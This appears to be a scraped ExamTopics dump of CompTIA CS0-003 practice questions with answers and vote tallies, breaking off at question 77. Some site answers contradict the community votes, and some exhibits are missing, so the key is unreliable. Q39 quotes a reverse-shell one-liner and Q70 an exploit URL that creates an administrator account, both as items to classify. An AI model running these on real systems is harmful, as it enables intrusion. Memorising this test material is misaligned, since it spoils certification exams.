CS0-003 Exam Past Papers PDF

CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ - Expert Veri ed, Online,....

CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ - Expert Veri ed, Online,.  Custom View Settings Question #1 Topic 1 A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a signi cant impact to con dentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat? A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H A Community vote distribution A (82%) B (18%) Question #2 Topic 1 Which of the following tools would work best to prevent the exposure of PII outside of an organization? A. PAM B. IDS C. PKI D. DLP D Community vote distribution D (100%) 1 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #3 Topic 1 An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed: Which of the following tuning recommendations should the security analyst share? A. Set an HttpOnly ag to force communication by HTTPS B. Block requests without an X-Frame-Options header C. Con gure an Access-Control-Allow-Origin header to authorized domains D. Disable the cross-origin resource sharing header B Community vote distribution C (87%) 13% Question #4 Topic 1 Which of the following items should be included in a vulnerability scan report? (Choose two.) A. Lessons learned B. Service-level agreement C. Playbook D. Affected hosts E. Risk score F. Education plan DE Community vote distribution DE (100%) 2 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #5 Topic 1 The Chief Executive O cer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization? A. A mean time to remediate of 30 days B. A mean time to detect of 45 days C. A mean time to respond of 15 days D. Third-party application testing A Community vote distribution A (76%) C (24%) Question #6 Topic 1 A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script: Which of the following scripting languages was used in the script? A. PowerShell B. Ruby C. Python D. Shell script A Community vote distribution A (100%) Question #7 Topic 1 A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity? A. There is an issue with the SSL certi cate causing port 443 to become unavailable for HTTPS access B. An on-path attack is being performed by someone with internal access that forces users into port 80 C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80 D. An error was caused by BGP due to new rules applied over the company's internal routers B Community vote distribution B (100%) 3 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #8 Topic 1 A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below: Security Policy 1006: Vulnerability Management 1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities. 2. In situations where a choice must be made between con dentiality and availability, the Company shall prioritize con dentiality of data over availability of systems and data. 3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system. According to the security policy, which of the following vulnerabilities should be the highest priority to patch? A. Name: THOR.HAMMER - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Internal System B. Name: CAP.SHIELD - CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N External System C. Name: LOKI.DAGGER - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H External System D. Name: THANOS.GAUNTLET - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Internal System B Community vote distribution B (88%) 13% Question #9 Topic 1 Which of the following will most likely ensure that mission-critical services are available in the event of an incident? A. Business continuity plan B. Vulnerability management plan C. Disaster recovery plan D. Asset management plan C Community vote distribution 2 A (70%) C (28%) % 4 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #10 Topic 1 The Chief Information Security O cer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk? A. Deploy a CASB and enable policy enforcement B. Con gure MFA with strict access C. Deploy an API gateway D. Enable SSO to the cloud applications A Community vote distribution A (100%) Question #11 Topic 1 An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review rst? A. CDN B. Vulnerability scanner C. DNS D. Web server C Community vote distribution C (77%) 13% 10% Question #12 Topic 1 A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in? A. Weaponization B. Reconnaissance C. Delivery D. Exploitation D Community vote distribution D (100%) 5 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #13 Topic 1 An analyst nds that an IP address outside of the company network that is being used to run network and vulnerability scans across external- facing assets. Which of the following steps of an attack framework is the analyst witnessing? A. Exploitation B. Reconnaissance C. Command and control D. Actions on objectives B Community vote distribution B (100%) Question #14 Topic 1 An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.) A. Beaconing B. Domain Name System hijacking C. Social engineering attack D. On-path attack E. Obfuscated links F. Address Resolution Protocol poisoning CE Community vote distribution CE (85%) Other Question #15 Topic 1 During security scanning, a security analyst regularly nds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase? A. Conduct regular red team exercises over the application in production B. Ensure that all implemented coding libraries are regularly checked C. Use application security scanning as part of the pipeline for the CI/CD ow D. Implement proper input validation for any data entry form C Community vote distribution C (92%) 8% 6 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #16 Topic 1 An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst nds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent? A. Proprietary systems B. Legacy systems C. Unsupported operating systems D. Lack of maintenance windows B Community vote distribution A (95%) 5% Question #17 Topic 1 The security team reviews a web server for XSS and runs the following Nmap scan: Which of the following most accurately describes the result of the scan? A. An output of characters > and " as the parameters used m the attempt B. The vulnerable parameter ID http://172.31.15.2/1.php?id-2 and un ltered characters returned C. The vulnerable parameter and un ltered or encoded characters passed > and " as unsafe D. The vulnerable parameter and characters > and " with a re ected XSS attempt D Community vote distribution D (100%) Question #18 Topic 1 Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future? A. Develop a call tree to inform impacted users B. Schedule a review with all teams to discuss what occurred C. Create an executive summary to update company leadership D. Review regulatory compliance with public relations for o cial noti cation B Community vote distribution B (100%) 7 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #19 Topic 1 A security analyst received a malicious binary le to analyze. Which of the following is the best technique to perform the analysis? A. Code analysis B. Static analysis C. Reverse engineering D. Fuzzing B Community vote distribution C (75%) B (25%) Question #20 Topic 1 An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected rst in order to preserve sensitive information before isolating the server? A. Hard disk B. Primary boot partition C. Malicious les D. Routing table E. Static IP address C Community vote distribution D (70%) A (16%) 14% 8 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #21 Topic 1 Which of the following security operations tasks are ideal for automation? A. Suspicious le analysis: Look for suspicious-looking graphics in a folder. Create subfolders in the original folder based on category of graphics found. Move the suspicious graphics to the appropriate subfolder B. Firewall IoC block actions: Examine the rewall logs for IoCs from the most recently published zero-day exploit Take mitigating actions in the rewall to block the behavior found in the logs Follow up on any false positives that were caused by the block rules C. Security application user errors: Search the error logs for signs of users having trouble with the security application Look up the user's phone number - Call the user to help with any questions about using the application D. Email header analysis: Check the email header for a phishing con dence metric greater than or equal to ve Add the domain of sender to the block list Move the email to quarantine B Community vote distribution D (64%) B (36%) Question #22 Topic 1 An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to? A. PCI Security Standards Council B. Local law enforcement C. Federal law enforcement D. Card issuer D Community vote distribution D (100%) 9 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #23 Topic 1 Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system? A. Mean time to detect B. Number of exploits by tactic C. Alert volume D. Quantity of intrusion attempts A Community vote distribution A (100%) Question #24 Topic 1 A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment? A. The current scanners should be migrated to the cloud B. Cloud-speci c miscon gurations may not be detected by the current scanners C. Existing vulnerability scanners cannot scan IaaS systems D. Vulnerability scans on cloud environments should be performed from the cloud B Community vote distribution B (100%) Question #25 Topic 1 A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary les, re ecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies? A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities B. Ensure that the case details do not re ect any user-identi able information Password protect the evidence and restrict access to personnel related to the investigation C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation D. Notify the SOC manager for awareness after con rmation that the activity was intentional B Community vote distribution B (100%) 10 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #26 Topic 1 Which of the following is the rst step that should be performed when establishing a disaster recovery plan? A. Agree on the goals and objectives of the plan B. Determine the site to be used during a disaster C. Demonstrate adherence to a standard disaster recovery process D. Identify applications to be run during a disaster A Community vote distribution A (100%) Question #27 Topic 1 A technician identi es a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process? A. Testing B. Implementation C. Validation D. Rollback C Community vote distribution C (65%) A (35%) Question #28 Topic 1 The analyst reviews the following endpoint log entry: Which of the following has occurred? A. Registry change B. Rename computer C. New account introduced D. Privilege escalation C Community vote distribution C (100%) 11 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #29 Topic 1 A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did? A. Data enrichment B. Security control plane C. Threat feed combination D. Single pane of glass D Community vote distribution D (93%) 7% 12 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #30 Topic 1 Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output: Which of the following choices should the analyst look at rst? A. wh4dc-748gy.lan (192.168.86.152) B. o cerckuplayer.lan (192.168.86.22) C. imaging.lan (192.168.86.150) D. xlaptop.lan (192.168.86.249) E. p4wnp1_aloa.lan (192.168.86.56) E Community vote distribution E (100%) 13 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #31 Topic 1 When starting an investigation, which of the following must be done rst? A. Notify law enforcement B. Secure the scene C. Seize all related evidence D. Interview the witnesses B Community vote distribution B (100%) Question #32 Topic 1 Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident? A. The lead should review what is documented in the incident response policy or plan B. Management level members of the CSIRT should make that decision C. The lead has the authority to decide who to communicate with at any t me D. Subject matter experts on the team should communicate with others within the speci ed area of expertise A Community vote distribution A (100%) Question #33 Topic 1 A new cybersecurity analyst is tasked with creating an executive brie ng on possible threats to the organization. Which of the following will produce the data needed for the brie ng? A. Firewall logs B. Indicators of compromise C. Risk assessment D. Access control lists B Community vote distribution C (61%) B (39%) 14 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #34 Topic 1 An analyst notices there is an internal device sending HTTPS tra c with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed? A. Beaconing B. Cross-site scripting C. Buffer over ow D. PHP traversal A Community vote distribution A (100%) Question #35 Topic 1 A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display lter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the le transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded les? A. Change the display lter to ftp.active.port B. Change the display lter to tcp.port==20 C. Change the display lter to ftp-data and follow the TCP streams D. Navigate to the File menu and select FTP from the Export objects option C Community vote distribution C (100%) Question #36 Topic 1 A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer? A. SLA B. MOU C. NDA D. Limitation of liability A Community vote distribution A (100%) 15 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #37 Topic 1 Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target? A. Command and control B. Actions on objectives C. Exploitation D. Delivery A Community vote distribution A (100%) Question #38 Topic 1 A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network tra c. Which of the following would best meet this requirement? A. External B. Agent-based C. Non-credentialed D. Credentialed B Community vote distribution B (100%) Question #39 Topic 1 A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted? A. RCE B. Reverse shell C. XSS D. SQL injection B Community vote distribution B (100%) 16 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #40 Topic 1 An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation? A. Scope B. Weaponization C. CVSS D. Asset value B Community vote distribution B (100%) Question #41 Topic 1 An analyst is reviewing a vulnerability report for a server environment with the following entries: Which of the following systems should be prioritized for patching rst? A. 10.101.27.98 B. 54.73.225.17 C. 54.74.110.26 D. 54.74.110.228 D Community vote distribution D (100%) 17 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #42 Topic 1 A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results? A. Credentialed network scanning B. Passive scanning C. Agent-based scanning D. Dynamic scanning A Community vote distribution C (80%) A (20%) Question #43 Topic 1 A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately? A. function x() { info=$(geoiplookup $1) && echo "$1 | $info" } B. function x() { info=$(ping -c 1 $1 | awk -F "/" ’END{print $5}’) && echo "$1 | $info" } C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" ’{print $1} ').origin.asn.cymru.com TXT +short) && echo "$1 | $info" } D. function x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo "$1 | $info" } C Community vote distribution D (77%) C (23%) Question #44 Topic 1 There are several reports of sensitive information being disclosed via le sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario? A. Implement step-up authentication for administrators B. Improve employee training and awareness C. Increase password complexity standards D. Deploy mobile device management B Community vote distribution B (100%) 18 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #45 Topic 1 Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach? A. Determine the sophistication of the audience that the report is meant for B. Include references and sources of information on the rst page C. Include a table of contents outlining the entire report D. Decide on the color scheme that will effectively communicate the metrics A Community vote distribution A (100%) Question #46 Topic 1 A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective? A. Upload the binary to an air gapped sandbox for analysis B. Send the binaries to the antivirus vendor C. Execute the binaries on an environment with internet connectivity D. Query the le hashes using VirusTotal A Community vote distribution A (69%) D (31%) Question #47 Topic 1 Which of the following would help to minimize human engagement and aid in process improvement in security operations? A. OSSTMM B. SIEM C. SOAR D. OWASP C Community vote distribution C (100%) 19 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #48 Topic 1 After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security O cer (CISO) decided the risk score would be too high. The CISO refused the software request. Which of the following risk management principles did the CISO select? A. Avoid B. Transfer C. Accept D. Mitigate A Community vote distribution A (100%) Question #49 Topic 1 Which of the following is an important aspect that should be included in the lessons-learned step after an incident? A. Identify any improvements or changes in the incident response plan or procedures B. Determine if an internal mistake was made and who did it so they do not repeat the error C. Present all legal evidence collected and turn it over to iaw enforcement D. Discuss the nancial impact of the incident to determine if security controls are well spent A Community vote distribution A (100%) Question #50 Topic 1 The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results? A. Single pane of glass B. Single sign-on C. Data enrichment D. Deduplication A Community vote distribution A (75%) D (20%) 5% 20 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #51 Topic 1 Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization? A. MITRE ATT&CK B. Cyber Kill Cham C. OWASP D. STIX/TAXII A Community vote distribution A (100%) Question #52 Topic 1 An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe? A. Eradication B. Recovery C. Containment D. Preparation A Community vote distribution A (100%) Question #53 Topic 1 Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend? A. Isolate Joe's PC from the network B. Reimage the PC based on standard operating procedures C. Initiate a remote wipe of Joe's PC using mobile device management D. Perform no action until HR or legal counsel advises on next steps D Community vote distribution D (100%) 21 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #54 Topic 1 The Chief Information Security O cer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks? A. Reduce the administrator and privileged access accounts B. Employ a network-based IDS C. Conduct thorough incident response D. Enable SSO to enterprise applications A Community vote distribution A (100%) Question #55 Topic 1 During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and con gured with appropriate auditing and logging. The Chief Information Security O cer wants to nd out precisely what happened. Which of the following actions should the analyst take rst? A. Clone the virtual server for forensic analysis B. Log m to the affected server and begin analysis of the logs C. Restore from the last known-good backup to con rm there was no loss of connectivity D. Shut down the affected server immediately D Community vote distribution A (88%) 10% Question #56 Topic 1 A systems administrator is reviewing after-hours tra c ows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this tra c pattern around the clock during work hours as well. Which of the following is the most likely explanation? A. C2 beaconing activity B. Data ex ltration C. Anomalous activity on unexpected ports D. Network host IP address scanning E. A rogue network device A Community vote distribution A (92%) 8% 22 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #57 Topic 1 New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy? A. Human resources must email a copy of a user agreement to all new employees B. Supervisors must get verbal con rmation from new employees indicating they have read the user agreement C. All new employees must take a test about the company security policy during the onboardmg process D. All new employees must sign a user agreement to acknowledge the company security policy D Community vote distribution D (100%) Question #58 Topic 1 An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial O cer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest ghter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign? A. Information sharing organization B. Blogs/forums C. Cybersecurity incident response team D. Deep/dark web A Community vote distribution A (100%) Question #59 Topic 1 An incident response team nished responding to a signi cant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned? A. To satisfy regulatory requirements for incident reporting B. To hold other departments accountable C. To identify areas of improvement in the incident response process D. To highlight the notable practices of the organization's incident response team C Community vote distribution C (100%) 23 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #60 Topic 1 A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the most urgent vulnerabilities: c Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched rst, given the above third-party scoring system? A. InLoud: Cobain: Yes - Grohl: No - Novo: Yes - Smear: Yes - Channing: No B. TSpirit: Cobain: Yes - Grohl: Yes - Novo: Yes - Smear: No - Channing: No C. ENameless: Cobain: Yes - Grohl: No - Novo: Yes - Smear: No - Channing: No D. PBleach: Cobain: Yes - Grohl: No - Novo: No - Smear: No - Channing: Yes B Community vote distribution 24 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ B (86%) 14% Question #61 Topic 1 A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become? A. Hacktivist B. Advanced persistent threat C. Insider threat D. Script kiddie D Community vote distribution 3 C (97%) % Question #62 Topic 1 An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following should the CSIRT conduct next? A. Take a snapshot of the compromised server and verify its integrity B. Restore the affected server to remove any malware C. Contact the appropriate government agency to investigate D. Research the malware strain to perform attribution A Community vote distribution A (86%) 14% Question #63 Topic 1 During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected rst in a computer system, related to its volatility level? A. Disk contents B. Backup data C. Temporary les D. Running processes D Community vote distribution D (100%) 25 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #64 Topic 1 A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal? A. function w() { a=$(ping -c 1 $1 | awk-F ”/” ’END{print $1}’) && echo “$1 | $a” } B. function x() { b=traceroute -m 40 $1 | awk ’END{print $1}’) && echo “$1 | $b” } C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short } D. function z() { c=$(geoiplookup$1) && echo “$1 | $c” } C Community vote distribution C (88%) 13% Question #65 Topic 1 A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective? A. function w() { info=$(ping -c 1 $1 | awk -F “/” ‘END{print $1}’) && echo “$1 | $info” } B. function x() { info=$(geoiplookup $1) && echo “$1 | $info” } C. function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo “$1 | $info” } D. function z() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” } B Community vote distribution B (100%) 26 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #66 Topic 1 A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment: Which of the following should be completed rst to remediate the ndings? A. Ask the web development team to update the page contents B. Add the IP address allow listing for control panel access C. Purchase an appropriate certi cate from a trusted root CA D. Perform proper sanitization on all elds C- Community vote distribution D (100%) Question #67 Topic 1 While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next? A. Shut the network down immediately and call the next person in the chain of command. B. Determine what attack the odd characters are indicative of. C. Utilize the correct attack framework and determine what the incident response will consist of. D. Notify the local law enforcement for incident response. B Community vote distribution B (60%) C (40%) 27 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #68 Topic 1 A security team conducts a lessons-learned meeting after struggling to determine who should conduct the next steps following a security event. Which of the following should the team create to address this issue? A. Service-level agreement B. Change management plan C. Incident response plan D. Memorandum of understanding C Community vote distribution C (100%) Question #69 Topic 1 A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the best mitigation technique? A. Geoblock the offending source country. B. Block the IP range of the scans at the network rewall. C. Perform a historical trend analysis and look for similar scanning activity. D. Block the speci c IP address of the scans at the network rewall. B Community vote distribution A (76%) B (24%) Question #70 Topic 1 An analyst has received an IPS event noti cation from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day vulnerability on several web servers. The exploit contained the following snippet: /wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator Which of the following controls would work best to mitigate the attack represented by this snippet? A. Limit user creation to administrators only. B. Limit layout creation to administrators only. C. Set the directory trx_addons to read only for all users. D. Set the directory V2 to read only for all users. A Community vote distribution A (73%) C (23%) 5% 28 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #71 Topic 1 A penetration tester submitted data to a form in a web application, which enabled the penetration tester to retrieve user credentials. Which of the following should be recommended for remediation of this application vulnerability? A. Implementing multifactor authentication on the server OS B. Hashing user passwords on the web application C. Performing input validation before allowing submission D. Segmenting the network between the users and the web server C Community vote distribution C (100%) Question #72 Topic 1 A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread of malware that enters the network. Which of the following metrics should the team lead include in the briefs? A. Mean time between failures B. Mean time to detect C. Mean time to remediate D. Mean time to contain D Community vote distribution C (66%) D (34%) Question #73 Topic 1 An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has: created the initial evidence log. disabled the wireless adapter on the device. interviewed the employee, who was unable to identify the website that was accessed. reviewed the web proxy tra c logs. Which of the following should the analyst do to remediate the infected device? A. Update the system rmware and reimage the hardware. B. Install an additional malware scanner that will send email alerts to the analyst. C. Con gure the system to use a proxy server for Internet access. D. Delete the user pro le and restore data from backup. A Community vote distribution A (64%) D (27%) 9% 29 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #74 Topic 1 A cloud team received an alert that unauthorized resources were being auto-provisioned. After investigating, the team suspects that cryptomining is occurring. Which of the following indicators would most likely lead the team to this conclusion? A. High GPU utilization B. Bandwidth consumption C. Unauthorized changes D. Unusual tra c spikes A Community vote distribution A (100%) Question #75 Topic 1 A company’s security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the o ce). Besides the security team, which of the following groups should the issue be escalated to rst in order to comply with industry best practices? A. Help desk B. Law enforcement C. Legal department D. Board member C Community vote distribution C (100%) Question #76 Topic 1 Given the following CVSS string: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Which of the following attributes correctly describes this vulnerability? A. A user is required to exploit this vulnerability. B. The vulnerability is network based. C. The vulnerability does not affect con dentiality. D. The complexity to exploit the vulnerability is high. B Community vote distribution B (100%) 30 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #77 Topic 1 A cryptocurrency service company is primarily concerned with ensuring the accuracy of the 